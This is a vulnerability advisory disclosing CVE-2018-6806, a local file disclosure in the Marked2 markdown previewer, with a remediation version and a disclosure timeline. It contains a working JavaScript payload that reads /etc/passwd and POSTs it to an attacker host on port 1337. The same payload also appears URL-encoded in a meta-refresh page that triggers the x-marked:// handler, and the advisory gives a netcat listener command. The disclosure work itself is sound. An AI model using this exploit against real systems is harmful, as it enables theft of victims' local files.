LYNX

Local File Disclosure in Marked2

Author: Corben Leo
Date: 2/6/2018

SUMMARY

A local file disclosure vulnerability was identified in a markdown previewer – Marked2. This vulnerability would allow an attacker to read any local files from a victim's machine.

DESCRIPTION

Marked allows the execution of arbitrary javascript, which allows an attacker to craft and inject malicious code in the context of the application. With two simple XMLHttpRequests, it is possible to steal local files from a victim's computer:

```
<body>
<script>
var file = "file:///etc/passwd";
var extract = "http://dev.example.com:1337/";
function get(url) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
    return xmlHttp.responseText;
}
function steal(data) {
  var xhr = new XMLHttpRequest();
  xhr.open('POST', extract, true);
  xhr.onload = function() {};
  xhr.send(data);
}
var cdl = get(file);
steal(cdl);
</script>
</body>
```

Marked has a URL hander (x-marked://) to provide "additional scripting and workflow capabilities." One of the functions passed into the URL handler is "preview". It renders and previews markdown specified in the ?text= parameter.

PRACTICAL EXPLOITATION

1. An attacker creates and hosts a malicious HTML that redirects to the URL Handler, calling the **preview** function.

```
<meta http-equiv="refresh" content="0;URL='x-
marked://preview?text=%3Cbody%3E%0A%3Cscript%3E%0Avar%20file%20%3D%20%22file%
3A%2F%2F%2Fetc%2Fpasswd%22%3B%0Avar%20extract%20%3D%20%22http%3A%2F%2Fdev.exa
mple.com%3A1337%2F%22%3B%0Afunction%20get(url)%20%7B%0A%20%20%20%20var%20xmlH
ttp%20%3D%20new%20XMLHttpRequest()%3B%0A%20%20%20%20xmlHttp.open(%22GET%22%2C
%20url%2C%20false)%3B%0A%20%20%20%20xmlHttp.send(null)%3B%0A%20%20%20%20retur
n%20xmlHttp.responseText%3B%0A%7D%0Afunction%20steal(data)%20%7B%0A%20%20var%
20xhr%20%3D%20new%20XMLHttpRequest()%3B%0A%20%20xhr.open(%27POST%27%2C%20extr
act%2C%20true)%3B%0A%20%20xhr.onload%20%3D%20function()%20%7B%7D%3B%0A%20%20x
hr.send(data)%3B%0A%7D%0Avar%20cdl%20%3D%20get(file)%3B%0Asteal(cdl)%3B%0A%3C
%2Fscript%3E%0A%3C%2Fbody%3E%0A'" />
```

2. The attacker starts a **netcat** listener on his server: nc -klvp 1337
3. The victim visits the HTML page and the attacker's payload is automatically previewed in Marked2.
4. The script executes in the context of the application, stealing a local file and sending it to the attacker's server on port 1337.

VIDEO: https://youtu.be/2mZTrLs8k48

REMEDIATION

Update to at least version 2.5.11

TIMELINE

2/6/2018 – Vulnerability reported to Marked2
2/6/2018 – Response from developer: next update will include patch
2/6/2018 – Permission to publicly disclose
2/6/2018 – Assigned CVE-2018-6806